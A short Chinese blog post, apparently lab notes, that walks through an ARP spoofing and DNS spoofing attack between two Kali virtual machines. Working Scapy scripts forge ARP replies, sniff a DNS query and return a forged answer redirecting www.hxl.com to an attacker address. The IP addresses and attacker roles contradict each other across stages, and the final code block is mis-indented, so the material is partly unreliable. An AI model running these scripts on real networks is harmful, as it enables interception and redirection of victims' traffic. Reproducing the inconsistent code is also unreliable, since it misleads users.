KALI A(192.168.222.132)攻击
KALI B(192.168.23.133)被攻击
阶段一:KALI B启动ARP欺骗
#有效期更改为下述标红内容的标绿部分:ttl。
#如果解析为正常攻击机IP就去掉ARP欺骗。
#伪造IP部分更改为攻击机IP(查找替换将所有17.17替换为23.133)
在KALI B上打开终端1,启动ARP欺骗:
# 构造ARP欺骗包pdst为需要欺骗的主机
arp_spoof = ARP(op=2, pdst="192.168.222.133", psrc="192.168.222.17")

print("开始ARP欺骗:告诉192.168.222.133,我是192.168.222.17...")
# 持续发送,间隔1秒
send(arp_spoof, loop=1, inter=1)
保持此终端运行。
阶段二:KALI B准备DNS响应
在KALI B上打开终端2,监听并伪造DNS响应:
# 1. 定义嗅探过滤器
capture_filter = "udp port 53 and src host 192.168.222.133 and dst host 192.168.222.17"

print("正在监听受害者的DNS请求(www.hxl.com)...")

# 2. 抓取请求包
pkt_req = sniff(filter=capture_filter, count=1)[0]

print(f"截获DNS请求: {pkt_req[DNS].qd.qname.decode()}")

# 3. 验证查询的域名
requested_domain = pkt_req[DNS].qd.qname.decode()
if "hxl.com" in requested_domain.lower():
    print(f"目标域名匹配: {requested_domain}")

    # 4. 构造伪造的响应包
    spoofed_resp = IP(src="192.168.222.17", dst="192.168.222.133") / \
                   UDP(sport=pkt_req[UDP].dport, dport=pkt_req[UDP].sport) / \
                   DNS(id=pkt_req[DNS].id, qr=1, aa=1, rd=1, ra=1,
                       qd=pkt_req[DNS].qd,
                       an=DNSRR(rrname=pkt_req[DNS].qd.qname, ttl=2017, rdata="192.168.222.132"))

    # 5. 发送伪造响应
    send(spoofed_resp)
    print(f"已发送伪造DNS响应!将{requested_domain}解析到192.168.222.132")
else:
    print(f"域名不匹配: {requested_domain},不进行欺骗")
阶段三:KALI A发起DNS查询
在KALI A上操作:
# 构造请求包 - 查询www.hxl.com
pkt1 = IP(dst="192.168.222.17")/UDP(sport=12345, dport=53)/DNS(id=1000, qr=0, rd=1, qd=DNSQR(qname="www.hxl.com"))

print("向192.168.222.17发送查询www.hxl.com...")
# 发送并等待回复
ans1 = sr1(pkt1, timeout=10)

# 如果收到包,查看结果
if ans1:
    print("\n收到DNS响应!")
    # 验证响应的源IP是否为192.168.222.17
    print(f"响应来源: {ans1[IP].src}")

    # 提取解析结果
    if ans1[DNS].an:
        fake_ip = ans1[DNS].an[0].rdata
        print(f"www.hxl.com被解析为: {fake_ip}")

        # 验证是否指向了攻击者
        if fake_ip == "192.168.222.133":
            print("DNS欺骗成功!www.hxl.com解析指向了攻击者。")
            target_ip = ans1[DNS].an[0].rdata
            print(f"正在Ping解析出的地址 {target_ip} ...")

            # 使用sr1发送ICMP并等待回复
            pkt2 = IP(dst=target_ip) / ICMP()
            reply = sr1(pkt2, timeout=5)

            if reply:
                print(f"收到来自 {reply[IP].src} 的ICMP回复")
            else:
                print("没有收到ICMP回复")

阶段四:在KALI B上监控流量
在KALI B上打开终端3,监控相关流量:

或者只监控ICMP流量

sudo tcpdump -i eth0 icmp and src host 192.168.23.133

阶段五:验证与Ping
如果KALI A成功收到了解析结果,继续测试:

KALI A继续操作

if ans1 and ans1[DNS].an:
target_ip = ans1[DNS].an[0].rdata
print(f"正在Ping解析出的地址 {target_ip} ...")

# 使用sr1发送ICMP并等待回复
pkt2 = IP(dst=target_ip) / ICMP()
reply = sr1(pkt2, timeout=5)

if reply:
    print(f"收到来自 {reply[IP].src} 的ICMP回复")
else:
    print("没有收到ICMP回复")
posted on 2026-01-14 09:33  suiseiseki  阅读(4)  评论(0)    收藏  举报